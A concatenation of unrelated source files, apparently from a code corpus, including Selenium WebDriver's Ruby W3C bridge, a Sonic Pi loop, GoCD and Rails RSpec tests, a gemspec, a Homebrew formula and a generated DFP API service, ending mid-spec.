def touch_double_tap(element)
execute :touch_double_tap, {}, {element: element}
end
def touch_long_press(element)
execute :touch_long_press, {}, {element: element}
end
def touch_down(x, y)
execute :touch_down, {}, {x: x, y: y}
end
def touch_up(x, y)
execute :touch_up, {}, {x: x, y: y}
end
def touch_move(x, y)
execute :touch_move, {}, {x: x, y: y}
end
def touch_scroll(element, x, y)
if element
execute :touch_scroll, {}, {element: element,
xoffset: x,
yoffset: y}
else
execute :touch_scroll, {}, {xoffset: x, yoffset: y}
end
end
def touch_flick(xspeed, yspeed)
execute :touch_flick, {}, {xspeed: xspeed, yspeed: yspeed}
end
def touch_element_flick(element, right_by, down_by, speed)
execute :touch_flick, {}, {element: element,
xoffset: right_by,
yoffset: down_by,
speed: speed}
end
def screen_orientation=(orientation)
execute :set_screen_orientation, {}, {orientation: orientation}
end
def screen_orientation
execute :get_screen_orientation
end
#
# element properties
#
def element_tag_name(element)
execute :get_element_tag_name, id: element
end
def element_attribute(element, name)
WebDriver.logger.info "Using script for :getAttribute of #{name}"
execute_atom :getAttribute, element, name
end
def element_property(element, name)
execute :get_element_property, id: element.ref, name: name
end
def element_value(element)
element_property element, 'value'
end
def element_text(element)
execute :get_element_text, id: element
end
def element_location(element)
data = execute :get_element_rect, id: element
Point.new data['x'], data['y']
end
def element_rect(element)
data = execute :get_element_rect, id: element
Rectangle.new data['x'], data['y'], data['width'], data['height']
end
def element_location_once_scrolled_into_view(element)
send_keys_to_element(element, [''])
element_location(element)
end
def element_size(element)
data = execute :get_element_rect, id: element
Dimension.new data['width'], data['height']
end
def element_enabled?(element)
execute :is_element_enabled, id: element
end
def element_selected?(element)
execute :is_element_selected, id: element
end
def element_displayed?(element)
WebDriver.logger.info 'Using script for :isDisplayed'
execute_atom :isDisplayed, element
end
def element_value_of_css_property(element, prop)
execute :get_element_css_value, id: element, property_name: prop
end
#
# finding elements
#
def active_element
Element.new self, element_id_from(execute(:get_active_element))
end
alias_method :switch_to_active_element, :active_element
def find_element_by(how, what, parent = nil)
how, what = convert_locators(how, what)
id = if parent
execute :find_child_element, {id: parent}, {using: how, value: what}
else
execute :find_element, {}, {using: how, value: what}
end
Element.new self, element_id_from(id)
end
def find_elements_by(how, what, parent = nil)
how, what = convert_locators(how, what)
ids = if parent
execute :find_child_elements, {id: parent}, {using: how, value: what}
else
execute :find_elements, {}, {using: how, value: what}
end
ids.map { |id| Element.new self, element_id_from(id) }
end
private
def execute(*)
super['value']
end
def convert_locators(how, what)
case how
when 'class name'
how = 'css selector'
what = ".#{escape_css(what)}"
when 'id'
how = 'css selector'
what = "##{escape_css(what)}"
when 'name'
how = 'css selector'
what = "*[name='#{escape_css(what)}']"
when 'tag name'
how = 'css selector'
end
[how, what]
end
ESCAPE_CSS_REGEXP = /(['"\\#.:;,!?+<>=~*^$|%&@`{}\-\[\]\(\)])/.freeze
UNICODE_CODE_POINT = 30
# Escapes invalid characters in CSS selector.
# @see https://mathiasbynens.be/notes/css-escapes
def escape_css(string)
string = string.gsub(ESCAPE_CSS_REGEXP) { |match| "\\#{match}" }
if !string.empty? && string[0] =~ /[[:digit:]]/
string = "\\#{UNICODE_CODE_POINT + Integer(string[0])} #{string[1..-1]}"
end
string
end
end # Bridge
end # W3C
end # Remote
end # WebDriver
end # Selenium
| 29.674917 | 129 | 0.538564 |
1a69bc39123e4ac5720a8a377da217323efc35e2 | 377 | live_loop :flibble do
sample :bd_haus, rate: 1
sleep 0.5sample :ambi_choir, rate: 0.3
sample :bd_haus, rate: 0.6
sleep 0.7
end
live_loop :guit do
with_fx :echo, mix: 0.5, phase: 0.2 do
sample :guit_em9, rate: 1
end
sample :guit_em9, rate: 1
sleep 8
end
live_loop :boom do
with_fx :reverb, room: 0.4 do
sample :bd_boom, amp: 5, rate: 0.5
sleep 4
end
| 19.842105 | 40 | 0.668435 |
bb50ab6d445aeb55044dc3d761d0cb3cba702948 | 21,582 | ##########################GO-LICENSE-START################################
# Copyright 2014 ThoughtWorks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
##########################GO-LICENSE-END##################################
require 'rails_helper'
describe "admin/pipelines/new.html.erb" do
include GoUtil
include FormUI
include ReflectiveUtil
include Admin::ConfigContextHelper
include MockRegistryModule
before(:each) do
allow(view).to receive(:pipeline_create_path).and_return("create_path")
@pipeline = PipelineConfigMother.createPipelineConfig("", "defaultStage", ["defaultJob"].to_java(java.lang.String))
@material_config = SvnMaterialConfig.new("svn://foo", "loser", "secret", true, "dest")
@material_config.setName(CaseInsensitiveString.new("Svn Material Name"))
@pipeline.materialConfigs().clear()
@pipeline.addMaterialConfig(@material_config)
@pipeline_group = BasicPipelineConfigs.new
@pipeline_group.add(@pipeline)
assign(:pipeline, @pipeline)
assign(:pipeline_group, @pipeline_group)
assign(:template_list, Array.new)
assign(:all_pipelines, ArrayList.new)
tvms = java.util.ArrayList.new
tvms.add(com.thoughtworks.go.presentation.TaskViewModel.new(com.thoughtworks.go.config.ExecTask.new, "admin/tasks/exec/new"))
assign(:task_view_models, tvms)
assign(:config_context, create_config_context(MockRegistryModule::MockRegistry.new))
@cruise_config = BasicCruiseConfig.new
assign(:cruise_config, @cruise_config)
assign(:original_cruise_config, @cruise_config)
set(@cruise_config, "md5", "abc")
allow(view).to receive(:is_user_a_group_admin?).and_return(false)
job_configs = JobConfigs.new([JobConfig.new(CaseInsensitiveString.new("defaultJob"))].to_java(JobConfig))
stage_config = StageConfig.new(CaseInsensitiveString.new("defaultStage"), job_configs)
view.extend Admin::PipelinesHelper
allow(view).to receive(:default_stage_config).and_return(stage_config)
end
it "should have a page title and view title" do
render
expect(view.instance_variable_get("@view_title")).to eq("Add Pipeline")
expect(view.instance_variable_get("@page_header")).to have_selector("h1#page-title", :text => "Add Pipeline")
end
it "should show wizard steps and the steps should be disabled" do
render
Capybara.string(response.body).find('div.steps_wrapper').tap do |div|
div.find("ul.tabs") do |ul|
ul.find("li#step1_link.disabled") do |li|
expect(li).to have_selector("a[href='#']", :text => "Step 1:Basic Settings")
expect(li).to have_selector("a.tab_button_body_match_text[href='#']", :text => "basic-settings")
end
ul.find("li#step2_link.disabled") do |li|
expect(li).to have_selector("a[href='#']", :text => "Step 2:Materials")
expect(li).to have_selector("a.tab_button_body_match_text[href='#']", :text => "materials")
end
ul.find("li#step3_link.disabled") do |li|
expect(li).to have_selector("a[href='#']", :text => "Step 3:Stage/Job")
expect(li).to have_selector("a.tab_button_body_match_text[href='#']", :text => "stage-and-job")
end
end
end
end
describe "Basic Settings" do
it "should have a text box for pipeline name and group name" do
assign(:group_name, "")
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings div.form_content") do |div|
expect(div).to have_selector("label[for='pipeline_group_pipeline_name']", :text => "Pipeline Name*")
expect(div).to have_selector("input[name='pipeline_group[pipeline][#{com.thoughtworks.go.config.PipelineConfig::NAME}]']")
expect(div).to have_selector("label[for='pipeline_group_group']", :text => "Pipeline Group Name")
expect(div).to have_selector("input[name='pipeline_group[#{com.thoughtworks.go.config.PipelineConfigs::GROUP}]'][value='']")
end
end
end
it "should populate group name if adding to an existing group" do
assign(:group_name, "foo.bar")
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings div.form_content") do |div|
expect(div).to have_selector("label[for='pipeline_group_pipeline_name']", :text => "Pipeline Name*")
expect(div).to have_selector("input[name='pipeline_group[pipeline][#{com.thoughtworks.go.config.PipelineConfig::NAME}]']")
expect(div).to have_selector("label[for='pipeline_group_group']", :text => "Pipeline Group Name")
expect(div).to have_selector("input[name='pipeline_group[#{com.thoughtworks.go.config.PipelineConfigs::GROUP}]'][value='foo.bar']")
end
end
end
it "should show dropdown for group name if user is a group admin" do
assign(:groups_list, ["foo.bar", "some_other_group"])
allow(view).to receive(:is_user_a_group_admin?).and_return(true)
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings div.form_content") do |div|
expect(div).to have_selector("label[for='pipeline_group_group']", :text => "Pipeline Group Name")
expect(div).not_to have_selector("input[name='pipeline_group[#{com.thoughtworks.go.config.PipelineConfigs::GROUP}]'][value='']")
form.find("select[name='pipeline_group[#{com.thoughtworks.go.config.PipelineConfigs::GROUP}]']") do |select|
expect(select).to have_selector("option[value='foo.bar']", :text => "foo.bar")
expect(select).to have_selector("option[value='some_other_group']", :text => "some_other_group")
end
end
end
end
it "should have section title" do
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings") do |div|
expect(div).to have_selector("h2.section_title", :text => "Step 1: Basic Settings")
end
end
end
it "should have form buttons" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings').tap do |div|
expect(div).to have_selector("button.cancel_button", :text => "Cancel")
expect(div).to have_selector("button#next_to_settings", :text => "Next")
end
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-materials').tap do |div|
expect(div).to have_selector("button.cancel_button", :text => "Cancel")
expect(div).to have_selector("button#next_to_materials", :text => "Next")
expect(div).to have_selector("button#prev_to_materials", :text => "Previous")
end
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector("button.cancel_button", :text => "Cancel")
expect(div).to have_selector("button.finish", :text => "FINISH")
expect(div).to have_selector("button#prev_to_stage_and_job", :text => "Previous")
end
end
it "should have config md5 hidden field" do
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
expect(form).to have_selector("input[type='hidden'][name='config_md5'][value='abc']", visible: :hidden)
end
end
end
describe "Materials" do
it "should have material section " do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-materials').tap do |div|
expect(div).to have_selector("h2.section_title", :text => "Step 2: Materials")
expect(div).to have_selector("label", :text => "Material Type*")
div.find("select[name='pipeline_group[pipeline][materials][materialType]']") do |select|
expect(select).to have_selector("option[value='SvnMaterial']", :text => "Subversion")
end
expect(div).to have_selector("button.cancel_button", :text => "Cancel")
expect(div).to have_selector("button#next_to_materials", :text => "Next")
end
end
describe "Svn materials" do
it "should render all svn material attributes" do
in_params(:pipeline_name => "pipeline_name")
render
Capybara.string(response.body).find('div#tab-content-of-materials div.form_content').tap do |div|
expect(div).to have_selector("label", :text => "URL*")
expect(div).to have_selector("input[type='text'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::URL}]']")
expect(div).to have_selector("label", :text => "Username")
expect(div).to have_selector("input[type='text'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::USERNAME}]']")
expect(div).to have_selector("label", :text => "Password")
expect(div).to have_selector("input[type='password'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::PASSWORD}]']")
end
end
it "should display check connection button" do
render
expect(response.body).to have_selector("button#check_connection_svn", :text => "CHECK CONNECTION")
expect(response.body).to have_selector("#vcsconnection-message_svn", :text => "", visible: false)
expect(response.body).to have_selector("button#check_connection_hg", :text => "CHECK CONNECTION")
expect(response.body).to have_selector("#vcsconnection-message_hg", :text => "", visible: false)
expect(response.body).to have_selector("button#check_connection_git", :text => "CHECK CONNECTION")
expect(response.body).to have_selector("#vcsconnection-message_git", :text => "", visible: false)
expect(response.body).to have_selector("button#check_connection_p4", :text => "CHECK CONNECTION")
expect(response.body).to have_selector("#vcsconnection-message_p4", :text => "", visible: false)
end
it "should display new svn material view with errors" do
error = config_error(com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::URL, "Url is wrong")
error.add(com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::USERNAME, "Username is wrong")
error.add(com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::PASSWORD, "Password is wrong")
set(@material_config, "errors", error)
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-materials div.form_content") do |div|
expect(div).to have_selector("div.field_with_errors input[type='text'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::URL}]'][value='svn://foo']")
expect(div).to have_selector("div.form_error", :text => "Url is wrong")
expect(div).to have_selector("div.field_with_errors input[type='text'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::USERNAME}]'][value='loser']")
expect(div).to have_selector("div.form_error", :text => "Username is wrong")
expect(div).to have_selector("div.field_with_errors input[type='password'][name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::PASSWORD}]'][value='secret']")
expect(div).to have_selector("div.form_error", :text => "Password is wrong")
end
end
end
end
end
describe "Stage and Job" do
it "should have the title Stage/Job" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector("h2.section_title", :text => "Step 3: Stage/Job")
end
end
it "should not have next button on the stage step" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).not_to have_selector("button.next")
end
end
it "should have configuration type" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector("label", :text => "Configuration Type")
expect(div).to have_selector("label[for='pipeline_configurationType_stages']", :text => "Define Stages")
expect(div).to have_selector("input#pipeline_configurationType_stages[type='radio'][checked='checked']")
expect(div).to have_selector("label[for='pipeline_configurationType_template']", :text => "Use Template")
expect(div).to have_selector("input#pipeline_configurationType_template[type='radio']")
end
end
it "should be possible to see a pipeline with template" do
@pipeline.clear()
@pipeline.setTemplateName(CaseInsensitiveString.new("template_foo"))
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector(".define_or_template label", :text => "Configuration Type")
expect(div).to have_selector("label[for='pipeline_configurationType_stages']", :text => "Define Stages")
expect(div).to have_selector("input#pipeline_configurationType_stages[type='radio']")
expect(div).not_to have_selector("input#pipeline_configurationType_stages[type='radio'][checked='checked']")
expect(div).to have_selector("label[for='pipeline_configurationType_template']", :text => "Use Template")
expect(div).to have_selector("input#pipeline_configurationType_template[type='radio'][checked='checked']")
end
end
it "should be able to see stage information" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][name]'][value='defaultStage']")
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][approval][type]'][type='radio'][value='success']")
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][approval][type]'][type='radio'][value='manual']")
end
end
it "should be able to see basic job information" do
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][jobs][][name]'][value='defaultJob']")
div.find("select[name='pipeline_group[pipeline][stage][jobs][][tasks][taskOptions]']") do |select|
expect(select).to have_selector("option[value='exec']", :text => "More...")
expect(select).to have_selector("option[value='rake']", :text => "Rake")
expect(select).to have_selector("option[value='ant']", :text => "Ant")
expect(select).to have_selector("option[value='nant']", :text => "NAnt")
end
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][jobs][][tasks][exec][command]']")
expect(div).to have_selector("textarea[name='pipeline_group[pipeline][stage][jobs][][tasks][exec][argListString]']")
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][jobs][][tasks][exec][workingDirectory]']")
end
end
it "should display template dropdown" do
allow(view).to receive(:is_user_an_admin?).and_return(true)
assign(:template_list, [TemplatesViewModel.new(PipelineTemplateConfigMother.createTemplate("foo"), true, true), TemplatesViewModel.new(PipelineTemplateConfigMother.createTemplate("bar_template_name"), true, true)])
render
Capybara.string(response.body).find('div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job').tap do |div|
div.find("div#select_template_container") do |select_template_container|
select_template_container.find("select[name='pipeline_group[pipeline][templateName]']") do |select|
expect(select).to have_selector("option[value='foo']", :text => "foo")
expect(select).to have_selector("option[value='bar_template_name']", :text => "bar_template_name")
end
end
end
end
end
describe "Client Side Validations" do
it "Basic Settings Tab validation" do
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-basic-settings div.form_content") do |div|
expect(div).to have_selector("input[name='pipeline_group[pipeline][#{com.thoughtworks.go.config.PipelineConfig::NAME}]'][class='required pattern_match uniquePipelineName']")
expect(div).to have_selector("input[name='pipeline_group[#{com.thoughtworks.go.config.PipelineConfigs::GROUP}]'][class='required pattern_match']")
end
end
end
it "Materials Tab validation" do
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-materials div.form_content") do |div|
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.svn.SvnMaterialConfig::URL}]'].required")
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.mercurial.HgMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.mercurial.HgMaterialConfig::URL}]'].required")
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.git.GitMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.git.GitMaterialConfig::URL}]'].required")
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.perforce.P4MaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.perforce.P4MaterialConfig::SERVER_AND_PORT}]'].required")
expect(div).to have_selector("textarea[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.perforce.P4MaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.perforce.P4MaterialConfig::VIEW}]'].required")
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.dependency.DependencyMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.dependency.DependencyMaterialConfig::PIPELINE_STAGE_NAME}]'].required")
expect(div).to have_selector("input[name='pipeline_group[pipeline][materials][#{com.thoughtworks.go.config.materials.tfs.TfsMaterialConfig::TYPE}][#{com.thoughtworks.go.config.materials.tfs.TfsMaterialConfig::PROJECT_PATH}]'].required")
end
end
end
it "Stage-Job Tab validation" do
render
Capybara.string(response.body).find("form[method='post'][action='create_path']").tap do |form|
form.find("div.steps_panes.sub_tab_container_content div#tab-content-of-stage-and-job") do |div|
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][name]'].required.pattern_match")
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][jobs][][name]'].required.pattern_match")
expect(div).to have_selector("input[name='pipeline_group[pipeline][stage][jobs][][tasks][exec][#{com.thoughtworks.go.config.ExecTask::COMMAND}]'].required")
end
end
end
end
end
| 56.203125 | 290 | 0.700723 |
5de3fa45daf81bb30575779f2b9b63c943c9afce | 497 | #
# encoding: utf-8
# Inspec test for recipe cb_cis_windows_2016::cis-18-7-start-menu-and-taskbar
# The Inspec reference, with examples and extensive documentation, can be
# found at http://inspec.io/docs/reference/resources/
unless os.windows?
# This is an example test, replace with your own test.
describe user('root'), :skip do
it { should exist }
end
end
# This is an example test, replace it with your own test.
describe port(80), :skip do
it { should_not be_listening }
end
| 24.85 | 77 | 0.730382 |
e8f8ab8826fb0f5c6340ea536d6bd3484a47f37e | 2,190 | require 'rails_helper'
RSpec.describe Participant, type: :model do
subject { described_class.new(attributes) }
let(:attributes) { {} }
# Avoid saving to the database
before do
allow(subject).to receive(:save).and_return(true)
end
describe '.valid_reference?' do
context 'for a valid reference' do
let(:reference) { 'test' }
it { expect(described_class.valid_reference?(reference)).to eq(true) }
end
context 'for an invalid reference' do
let(:reference) { 'foobar' }
it { expect(described_class.valid_reference?(reference)).to eq(false) }
end
context 'for a blank reference' do
let(:reference) { '' }
it { expect(described_class.valid_reference?(reference)).to eq(false) }
end
end
describe '.touch_or_create_by' do
# Avoid saving to the database
before do
allow(Participant).to receive(:find_or_create_by).with(reference: 'test').and_return(subject)
end
it 'delegates to `find_or_create_by`' do
expect(described_class.touch_or_create_by(reference: 'test')).to eq(subject)
end
it 'increments the `access_count` attribute' do
expect {
described_class.touch_or_create_by(reference: 'test')
}.to change { subject.access_count }.by(1)
end
end
describe '#increment_access_count' do
it 'increments the `access_count` attribute' do
expect {
subject.increment_access_count
}.to change { subject.access_count }.by(1)
end
it 'returns the instance' do
expect(subject.increment_access_count).to eq(subject)
end
end
describe 'scopes' do
let!(:opted_out_participant) { create(:participant, :opted_out) }
let!(:opted_in_participant) { create(:participant, :opted_in) }
let!(:opted_in_nil_participant) { create(:participant) }
context ".opted_in" do
it "return all opted_in participant" do
expect(Participant.opted_in).to eq [opted_in_participant, opted_in_nil_participant]
end
end
context ".opted_out_participant" do
it "return all opted_ou participant" do
expect(Participant.opted_out).to eq [opted_out_participant]
end
end
end
end
| 28.441558 | 99 | 0.683105 |
6a0b7a8ea4898db374303405c20c1a12a5f1b9cf | 887 | $:.push File.expand_path("../lib", __FILE__)
# Maintain your gem's version:
require "outdatedbrowser_rails/version"
# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = "outdatedbrowser_rails"
s.version = OutdatedbrowserRails::VERSION
s.authors = ["Luisa Lima"]
s.email = ["[email protected]"]
s.homepage = "https://github.com/luisalima/outdatedbrowser_rails"
s.summary = "Adds outdatedbrowser assets to the rails asset pipeline."
s.description = "A gem to automate using outdated-browser with Rails >= 4."
s.license = "MIT"
s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
s.add_dependency "rails", "~> 5.1"
s.test_files = Dir["spec/**/*"]
s.add_development_dependency "capybara", "~> 2.14"
s.add_development_dependency "rspec-rails", "~> 3"
end
| 35.48 | 85 | 0.677565 |
261002443e953d76ccbf78e00883e8b8ab65d449 | 3,256 | # frozen_string_literal: true
require "test_helper"
class CamaleonImageOptimizer::Test < ActiveSupport::TestCase
ORIG_JPG = "test/dummy/app/assets/images/orig.jpg"
TEST_JPG = "test/dummy/app/assets/images/test.jpg"
ORIG_PNG = "test/dummy/app/assets/images/orig.png"
TEST_PNG = "test/dummy/app/assets/images/test.png"
ORIG_GIF = "test/dummy/app/assets/images/orig.gif"
TEST_GIF = "test/dummy/app/assets/images/test.gif"
ORIG_SVG = "test/dummy/app/assets/images/orig.svg"
TEST_SVG = "test/dummy/app/assets/images/test.svg"
CONTROLLER = Plugins::CamaleonImageOptimizer::AdminController
def setup
FileUtils.cp ORIG_JPG, TEST_JPG
FileUtils.cp ORIG_PNG, TEST_PNG
FileUtils.cp ORIG_GIF, TEST_GIF
FileUtils.cp ORIG_SVG, TEST_SVG
# For reasons as yet unknown, Rails 6 deletes the data in the test DB when
# starting the test suite. The following lines create a fresh copy of the DB
# with the necessary data as a workaround.
archive_db_path = Rails.root.join("db", "test_copy.sqlite3")
test_db_path = Rails.root.join("db", "test.sqlite3")
FileUtils.cp archive_db_path, test_db_path
end
def teardown
FileUtils.rm [TEST_JPG, TEST_PNG, TEST_GIF, TEST_SVG]
end
test "truth" do
assert_kind_of Module, CamaleonImageOptimizer
end
test "image optimizer reduces image size of JPG or PNG according to settings" do
test_compression_jpg_png TEST_JPG
test_compression_jpg_png TEST_PNG
end
test "image optimizer reduces size of GIF" do
original_size = File.size TEST_GIF
CONTROLLER.new.cama_optimize_image uploaded_io: File.open(TEST_GIF)
compressed_size = File.size TEST_GIF
assert compressed_size < original_size, "Image optimizer failed to reduce file size of GIF."
end
test "image optimizer reduces size of SVG" do
# SVGO requires separate installation. See README.md.
`yarn add svgo`
# Path to SVGO binary must be specified for non-global installation.
ENV["SVGO_BIN"] = "node_modules/svgo/bin/svgo"
original_size = File.size TEST_SVG
CONTROLLER.new.cama_optimize_image uploaded_io: File.open(TEST_SVG)
compressed_size = File.size TEST_SVG
assert compressed_size < original_size, "Image optimizer failed to reduce file size of SVG."
end
test "does not blow up without svgo" do
`yarn remove svgo`
ENV.delete "SVGO_BIN"
CONTROLLER.new.cama_optimize_image uploaded_io: File.open(TEST_SVG)
assert FileUtils.identical?(ORIG_SVG, TEST_SVG), "Test SVG was modified when it should not have been."
end
private
def test_compression_jpg_png(img)
type = img.split(".").last.upcase
plugin = CONTROLLER.new.current_site.get_plugin "camaleon_image_optimizer"
original_size = File.size img
plugin.set_option "quality", "100"
CONTROLLER.new.cama_optimize_image uploaded_io: File.open(img)
compressed_size = File.size img
assert compressed_size < original_size, "Image optimizer failed to reduce file size of #{type}."
plugin.set_option "quality", "1"
CONTROLLER.new.cama_optimize_image uploaded_io: File.open(img)
smooshed_size = File.size img
assert smooshed_size < compressed_size, "Extreme settings failed to further reduce file size of #{type}."
end
end
| 36.58427 | 109 | 0.746929 |
7a6527ce62d94abd36253da797855464359c270b | 1,070 | $:.push File.expand_path("lib", __dir__)
# Maintain your gem's version:
require "yaffle/version"
# Describe your gem and declare its dependencies:
Gem::Specification.new do |spec|
spec.name = "yaffle"
spec.version = Yaffle::VERSION
spec.authors = ["sunakan"]
spec.email = ["[email protected]"]
spec.homepage = "https://github.com/sunakan/rails-plugin-on-rails-guides"
spec.summary = "練習"
spec.description = "練習"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.md"]
spec.add_dependency "rails", "~> 5.2.3"
spec.add_dependency "pg", "~> 1.1.4"
end
| 34.516129 | 96 | 0.671963 |
6a4e05f51a67bfd98bea423c050ebbfb57c690a4 | 420 | class Spiff < Formula
desc "declarative BOSH deployment manifest builder"
homepage "https://github.com/cloudfoundry-incubator/spiff"
url "https://github.com/cloudfoundry-incubator/spiff/releases/download/v1.0.7/spiff_darwin_amd64.zip"
version "1.0.7"
sha256 "482b77c522e5d8ac95cfe1b8e785f5d4fe9183f7d25122fa18d271cac6a3dbbe"
def install
bin.install "spiff"
end
test do
system "spiff"
end
end
| 26.25 | 103 | 0.771429 |
bf4b56bdc8127b0740bd4dc488b6adfe22a132c0 | 286 | class Integer
TWO_POWER_WORD1 = 2 ** (1.size * 8 - 1)
TWO_POWER_WORD = 2 ** (1.size * 8)
def self.to_signed(number)
number >= TWO_POWER_WORD1 ? number - TWO_POWER_WORD : number
end
def self.to_unsigned(number)
number < 0 ? number + TWO_POWER_WORD : number
end
end
| 22 | 64 | 0.667832 |
614ef6fd87babe422a9eda7176b07cd69f9028a4 | 1,398 | # Encoding: utf-8
#
# This is auto-generated code, changes will be overwritten.
#
# Copyright:: Copyright 2015, Google Inc. All Rights Reserved.
# License:: Licensed under the Apache License, Version 2.0.
#
# Code generated by AdsCommon library 0.9.8 on 2015-07-17 13:42:19.
require 'ads_common/savon_service'
require 'dfp_api/v201405/product_template_service_registry'
module DfpApi; module V201405; module ProductTemplateService
class ProductTemplateService < AdsCommon::SavonService
def initialize(config, endpoint)
namespace = 'https://www.google.com/apis/ads/publisher/v201405'
super(config, endpoint, namespace, :v201405)
end
def create_product_templates(*args, &block)
return execute_action('create_product_templates', args, &block)
end
def get_product_templates_by_statement(*args, &block)
return execute_action('get_product_templates_by_statement', args, &block)
end
def perform_product_template_action(*args, &block)
return execute_action('perform_product_template_action', args, &block)
end
def update_product_templates(*args, &block)
return execute_action('update_product_templates', args, &block)
end
private
def get_service_registry()
return ProductTemplateServiceRegistry
end
def get_module()
return DfpApi::V201405::ProductTemplateService
end
end
end; end; end
| 29.744681 | 79 | 0.744635 |
26a321cea2f6a7612cc4b1c71e5146bfefe0de41 | 5,120 | require 'rails_helper'
require_relative '../../../app/api_models/inventory/remove_reserved.rb'
require_relative './shared_examples.rb'
RSpec.describe RemoveReserved, type: :model do
describe 'validation' do
before(:each) do
inventory_item = FactoryBot.create(:inventory)
amount = 5
@it = RemoveReserved.new(inventory_item, amount)
end
it 'should be valid when all attributes are set correctly.' do
expect(@it.valid?).to eq(true)
end
it_should_behave_like 'it validates the inventory_item attribute'
it_should_behave_like 'it validates the amount attribute'
end
describe 'when running update_db() to update the database' do
context 'when everything is good' do
before(:each) do
@inventory_item = FactoryBot.create(:inventory, :reserved_amount => 5)
@original_reserved_amount = @inventory_item.reserved_amount
